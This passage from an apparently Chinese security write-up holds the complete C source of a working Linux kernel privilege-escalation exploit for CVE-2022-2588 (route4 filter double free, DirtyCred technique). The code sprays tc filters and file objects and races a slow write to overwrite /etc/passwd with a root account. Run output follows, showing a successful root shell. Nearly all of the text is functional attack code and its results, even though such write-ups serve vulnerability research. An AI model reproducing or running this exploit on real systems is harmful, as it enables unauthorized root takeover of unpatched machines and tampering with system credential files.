RTM_NEWTFILTER; // RTM_NEWTFILTER struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr)); // prio, protocol u_int32_t prio = 1; u_int32_t protocol = 1; t->tcm_info = TC_H_MAKE(prio << 16, protocol); t->tcm_ifindex = 1; t->tcm_family = AF_UNSPEC; t->tcm_handle = handle; // t->tcm_parent = TC_H_ROOT; addattr_l(msg, 0x4000, TCA_KIND, "basic", 6); struct rtattr* tail = addattr_nest(msg, 0x4000, TCA_OPTIONS); struct rtattr* ema_tail = addattr_nest(msg, 0x4000, TCA_BASIC_EMATCHES); struct tcf_ematch_tree_hdr tree_hdr = { .nmatches = spray_count / 2, .progid = 0 }; addattr_l(msg, 0x4000, TCA_EMATCH_TREE_HDR, &tree_hdr, sizeof(tree_hdr)); struct rtattr* rt_match_tail = addattr_nest(msg, 0x4000, TCA_EMATCH_TREE_LIST); char* data = malloc(0x3000); for (int i = 0; i < tree_hdr.nmatches; i++) { char* current; memset(data, 0, 0x3000); struct tcf_ematch_hdr* hdr = (struct tcf_ematch_hdr*)data; hdr->kind = TCF_EM_META; hdr->flags = TCF_EM_REL_AND; current = data + sizeof(*hdr); struct tcf_meta_hdr meta_hdr = { .left.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV, .right.kind = TCF_META_TYPE_VAR << 12 | TCF_META_ID_DEV, }; current += addattr(current, TCA_EM_META_HDR, &meta_hdr, sizeof(hdr)); current += addattr(current, TCA_EM_META_LVALUE, spray_data, spray_len); current += addattr(current, TCA_EM_META_RVALUE, spray_data, spray_len); addattr_l(msg, 0x4000, i + 1, data, current - data); } addattr_nest_end(msg, rt_match_tail); addattr_nest_end(msg, ema_tail); addattr_nest_end(msg, tail); // packing struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct msghdr msgh = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; sendmsg(fd, &msgh, 0); free(data); free(start); return 1;}void* delete_tc_basic(int sockfd, u_int32_t handle) { char* start = malloc(0x4000); memset(start, 0, 0x4000); struct nlmsghdr* msg = (struct nlmsghdr*)start; // delete filter msg = msg + msg->nlmsg_len; msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO; msg->nlmsg_type = RTM_DELTFILTER; // RTM_DELTFILTER struct tcmsg* t = (struct tcmsg*)(start + sizeof(struct nlmsghdr)); // prio, protocol u_int32_t prio = 1; u_int32_t protocol = 1; t->tcm_info = TC_H_MAKE(prio << 16, protocol); t->tcm_ifindex = 1; t->tcm_family = AF_UNSPEC; t->tcm_handle = handle; // t->tcm_parent = TC_H_ROOT; addattr_l(msg, 0x1000, TCA_KIND, "basic", 6); struct rtattr* tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); addattr_nest_end(msg, tail); // packing struct iovec iov = { .iov_base = msg, .iov_len = msg->nlmsg_len }; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct msghdr msgh = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; sendmsg(sockfd, &msgh, 0); memset(start, 0, 0x4000); iov.iov_len = 0x4000; iov.iov_base = start; recvmsg(sockfd, &msgh, 0); if (msgh.msg_namelen != sizeof(nladdr)) printf("[-] size of sender address is wrong\\\\n"); return start;}// slow_write() —— thread 1: occupy the write lock (write plenty of data)void* slow_write() { printf("[11-1] start slow write\\\\n"); clock_t start, end; int fd = open("./uaf", 1); if (fd < 0) { perror("[-] error open uaf file"); exit(-1); } unsigned long int addr = 0x30000000; int offset; for (offset = 0; offset < 0x80000 / 20; offset++) { // mmap space [0x30000000, 0x30000000 + 0x1000 * 0x80000 / 20] void* r = mmap((void*)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); if (r < 0) printf("[-] allocate failed at 0x%x\\\\n", offset); } assert(offset > 0); void* mem = (void*)(addr); memcpy(mem, "hhhhh", 5); struct iovec iov[20]; for (int i = 0; i < 20; i++) { // write plenty of data (0x80000 * 0x1000 = 0x80 000 000 = 2GB) iov[i].iov_base = mem; iov[i].iov_len = offset * 0x1000; } run_write = 1; // notifiy thread 2 (unprivileged `file`) begin to write evil data start = clock(); if (writev(fd, iov, 20) < 0) perror("slow write"); end = clock(); double spent = (double)(end - start) / CLOCKS_PER_SEC; printf("[*] write done, spent %f s\\\\n", spent); run_write = 0;}// write_cmd() —— thread 2: write evil data to the privileged filevoid* write_cmd() { struct iovec iov = { .iov_base = content, .iov_len = strlen(content) }; while (!run_write) {} // wait for thread 1 to prepare write printf("[11-2] write evil data after the slow write\\\\n"); run_spray = 1; if (writev(overlap_a, &iov, 1) < 0) printf("[-] failed to write\\\\n");}void exploit() { char msg[0x10] = {}; struct rlimit old_lim, lim, new_lim; // Get old limits if (getrlimit(RLIMIT_NOFILE, &old_lim) == 0) printf("Old limits -> soft limit= %ld \\\\t" " hard limit= %ld \\\\n", old_lim.rlim_cur, old_lim.rlim_max); pin_on_cpu(0); printf("[*] starting exploit, num of cores: %d\\\\n", cpu_cores); // open & setup the socket sockfd = socket(PF_NETLINK, SOCK_RAW, 0); assert(sockfd != -1); add_qdisc(sockfd); // 3. allocate a route4_filter (vulnerable object) if (read(pipe_child[0], msg, 2) != 2) err(1, "[-] read from parent"); printf("[3] allocate the vulnerable filter\\\\n"); add_tc_(sockfd, 0, 0, 0, NLM_F_EXCL | NLM_F_CREATE); // handle = 0 if (write(pipe_parent[1], "OK", 2) != 2) err(1, "[-] write to child"); // 6. 1st free the route4_filter, return the `kmalloc-256` page to the page allocator if (read(pipe_child[0], msg, 2) != 2) err(1, "[-] read from parent"); // free the object, to free the slab printf("[6] 1st freed the filter object\\\\n"); // getchar(); add_tc_(sockfd, 0x11, 0x12, 0, NLM_F_CREATE); // handle = 0 // wait for the vulnerable object being freed usleep(500 * 1000); if (write(pipe_parent[1], "OK", 2) != 2) err(1, "[-] write to child"); // 8. spray 4000 unprivileged `file` if (read(pipe_child[0], msg, 2) != 2) err(1, "[-] read from parent"); usleep(1000 * 1000); printf("[8] spray 4000 uprivileged `file`\\\\n"); for (int i = 0; i < spray_num_1; i++) { pin_on_cpu(i % cpu_cores); fds[i] = open("./data2", 1); assert(fds[i] > 0); } // printf("pause before 2nd free\\\\n"); // getchar(); // 9. 2nd free route4_filter, which will free the file printf("[9] 2nd free the filter object\\\\n"); add_tc_(sockfd, 0x11, 0x13, 0, NLM_F_CREATE); // handle = 0 printf("pause after 2nd free\\\\n"); // getchar(); // sleep(10000); usleep(1000 * 100); // should not sleep too long, otherwise file might be claimed by others // 10. spray 5000 unprivileged `file` & find the overlapped file printf("[10] spraying 5000 unprivileged `file`\\\\n"); for (int i = 0; i < spray_num_2; i++) { pin_on_cpu(i % cpu_cores); fd_2[i] = open("./uaf", 1); assert(fd_2[i] > 0); for (int j = 0; j < spray_num_1; j++) { // 10-1. spray one `file` & use kcmp to check if we take up the vulnerable object if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fds[j], fd_2[i]) == 0) { printf("[10-1] found overlapped file, id : %d, %d\\\\n", i, j); overlap_a = fds[j]; overlap_b = fd_2[i]; // 11. start 2 threads: Thread 1-take up write lock; Thread 2-write evil data printf("[11] start 2 threads compete to write\\\\n"); pthread_t pid, pid2; pthread_create(&pid, NULL, slow_write, NULL); pthread_create(&pid2, NULL, write_cmd, NULL); while (!run_spray) {} // 12. spray privileged `file` object close(overlap_a); // ??????????? why release twice ??????????? close(overlap_b); usleep(1000 * 100); int spray_num = 4096; write(pipe_file_spray[0][1], &spray_num, sizeof(int)); if (read(pipe_file_spray[1][0], &msg, 2) != 2) err(1, "[-] read from file spray"); overlapped = true; } } if (overlapped) break; } // 13. finish exploitation sleep(3); while (run_write) { sleep(1); } printf("[13] check whether we overwrite the privileged file\\\\n"); if (!overlapped) { printf("[-] no overlap found :(...\\\\n"); write(pipe_main[1], "\\\\xff", 1); } else { int xx = open(target, 0); char buf[0x100] = {}; // check if user (hi) in the passwd read(xx, buf, 0x30); if (!strncmp(buf, "hi", 2)) write(pipe_main[1], "\\\\x00", 1); else { printf("[-] not successful : %s\\\\n", buf); write(pipe_main[1], "\\\\xff", 1); } } while (1) { sleep(1000); }}int run_exp() { // 0. initialize pipe as notifier if (pipe(pipe_parent) == -1) err(1, "[-] fail to create pipes\\\\n"); if (pipe(pipe_child) == -1) err(1, "[-] fail to create pipes\\\\n"); if (pipe(pipe_defrag) == -1) err(1, "[-] fail to create pipes\\\\n"); if (pipe(pipe_file_spray[0]) == -1) // begin spray file err(1, "[-] fail to create pipes\\\\n"); if (pipe(pipe_file_spray[1]) == -1) // end spray file err(1, "[-] fail to create pipes\\\\n"); cpu_cores = sysconf(_SC_NPROCESSORS_ONLN); if (fork() == 0) { // 12. Thread 3 - spray 4096*2 priviledged `file` objects to replace unprivileged `file` (wait pipe_file_spray[0]) adjust_rlimit(); int spray_num = 0; if (read(pipe_file_spray[0][0], &spray_num, sizeof(int)) < sizeof(int)) // use pipe_file_spray to notify err(1, "[-] read file spray"); printf("[12] got cmd, start spraying 4096*2 `file` by opening %s\\\\n", target); spray_num = 4096; if (fork() == 0) { // spray 4096 `file` (parent-process) for (int i = 0; i < spray_num; i++) { pin_on_cpu(i % cpu_cores); open(target, 0); } while (1) { sleep(10000); } } // spray 4096 `file` (sub-process) for (int i = 0; i < spray_num; i++) { pin_on_cpu(i % cpu_cores); open(target, 0); } printf("[*] spray done\\\\n"); write(pipe_file_spray[1][1], "OK", 2); // write pipe_file_spray[1] —— finish spray `file` while (1) { sleep(10000); } exit(0); } // 0. preprocess & start main exploit if (fork() == 0) { pin_on_cpu(0); pre_exploit(); // set up process memory / working dir / namespace exploit(); // main exploit } else { sleep(2); if (fork() == 0) { // 1. defragmentation —— spray 10000 `file` to exhaust all file slabs for cross cache - all cores adjust_rlimit(); printf("[1] defragmentation - spray 10000 `file` to exhaust all file slabs for cross cache\\\\n"); for (int i = 0; i < 10000; i++) { pin_on_cpu(i % cpu_cores); open(target, 0); } if (write(pipe_defrag[1], "OK", 2) != 2) err(1, "[-] failed write defrag"); while (1) { sleep(1000); } } else { // 2. spray thread - core 0 spray kmalloc-192 & kmalloc-256 setup_namespace(); pin_on_cpu(0); int sprayfd = socket(PF_NETLINK, SOCK_RAW, 0); assert(sprayfd != -1); add_qdisc(sprayfd); // 2-1. prepare payload char msg[0x10] = {}; char payload[256] = {}; memset(payload + 0x10, 'A', 256 - 0x10); if (read(pipe_defrag[0], msg, 2) != 2) err(1, "[-] failed read defrag"); // if the exploit keeps failing, please tune the middle and end int middle = 38; // 38 int end = middle + 40; // 40 // 2-2. spray (38+3)*32 filters in kmalloc-192 & kmalloc-256 printf("[2] spray (38+3)*32 kmalloc-192 & kmalloc-256\\\\n"); for (int i = 0; i < middle; i++) add_tc_basic(sprayfd, i + 1, payload, 193, 32); add_tc_basic(sprayfd, middle + 1, payload, 193, 32); add_tc_basic(sprayfd, middle + 2, payload, 193, 32); add_tc_basic(sprayfd, middle + 3, payload, 193, 32); if (write(pipe_child[1], "OK", 2) != 2) err(1, "[-] write to parent\\\\n"); // 4. spray more filters in kmalloc-192 & kmalloc-256 if (read(pipe_parent[0], msg, 2) != 2) err(1, "[-] read from parent"); // add_tc_basic(sprayfd, middle+2, payload, 129, 32); // prepare another part for cross cache printf("[4] spray kmalloc-192 & kmalloc-256\\\\n"); for (int i = middle + 2; i < end; i++) add_tc_basic(sprayfd, i + 1, payload, 193, 32); // 5. free (end-24)*32 kmalloc-192 & kmalloc-256 printf("[5] free (end-24)*32 kmalloc-192 & kmalloc-256\\\\n"); for (int i = 1; i < end - 24; i++) { // prevent double free of 192 and being reclaimed by others if (i == middle || i == middle + 1) continue; delete_tc_basic(sprayfd, i + 1); } if (write(pipe_child[1], "OK", 2) != 2) err(1, "[-] write to parent\\\\n"); // 7. free (end-middle+1)*32 kmalloc-192 & kmalloc-256 if (read(pipe_parent[0], msg, 2) != 2) err(1, "[-] read from parent"); // if (cpu_cores == 1) sleep(1); printf("[7] free (end-middle+1)*32 kmalloc-192 & kmalloc-256\\\\n"); delete_tc_basic(sprayfd, middle + 2); delete_tc_basic(sprayfd, middle + 3); delete_tc_basic(sprayfd, 1); for (int i = middle + 2; i < end; i++) delete_tc_basic(sprayfd, i + 1); //getchar(); if (write(pipe_child[1], "OK", 2) != 2) err(1, "[-] write to parent\\\\n"); while (1) { sleep(1000); } } }}int main(int argc, char** argv) { global = (char*)mmap(NULL, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANON, -1, 0); memset(global, 0, 0x2000); self_path = global; snprintf(self_path, 0x100, "%s/%s", get_current_dir_name(), argv[0]); printf("[*] self path %s\\\\n", self_path); // prepare write data —— evil data + existing data in /etc/passwd printf("[*] prepare evil data\\\\n"); int fd = open(target, 0); content = (char*)(global + 0x100); strcpy(content, overwrite); read(fd, content + strlen(overwrite), 0x1000); close(fd); // run_exp() in sub-process assert(pipe(pipe_main) == 0); if (fork() == 0) { run_exp(); // main exploit while (1) { sleep(10000); } } // judge if succeed char data; read(pipe_main[0], &data, 1); if (data == 0) printf("[+] succeed\\\\n"); else printf("[-] failed\\\\n");} |
结果如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | $ ./exploit[*] self path /home/hi/./exploit[*] prepare evil dataOld limits -> soft limit= 14096 hard limit= 14096[*] starting exploit, num of cores: 4[1] defragmentation - spray 10000 `file` to exhaust all file slabs for cross cache[2] spray (38+3)*32 kmalloc-192 & kmalloc-256[3] allocate the vulnerable filter[4] spray kmalloc-192 & kmalloc-256[5] free (end-24)*32 kmalloc-192 & kmalloc-256[6] 1st freed the filter object[7] free (end-middle+1)*32 kmalloc-192 & kmalloc-256[8] spray 4000 uprivileged `file`[9] 2nd free the filter objectpause after 2nd free[10] spraying 5000 unprivileged `file`[10-1] found overlapped file, id : 22, 1930[11] start 2 threads compete to write[11-1] start slow write[11-2] write evil data after the slow write[12] got cmd, start spraying 4096*2 `file` by opening /etc/passwd[*] spray done[*] write done, spent 10.233072 s[13] check whether we overwrite the privileged file[+] succeed$ su hiPassword:# iduid=0(hi) gid=0(root) groups=0(root)# cat /etc/passwdhi:x:0:0:root:/:/bin/shroot::0:0:root:/root:/bin/bash |
参考文章：
CVE-2022-2588 Double-free 漏洞 DirtyCred 利用
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最后于 2024-3-21 18:55
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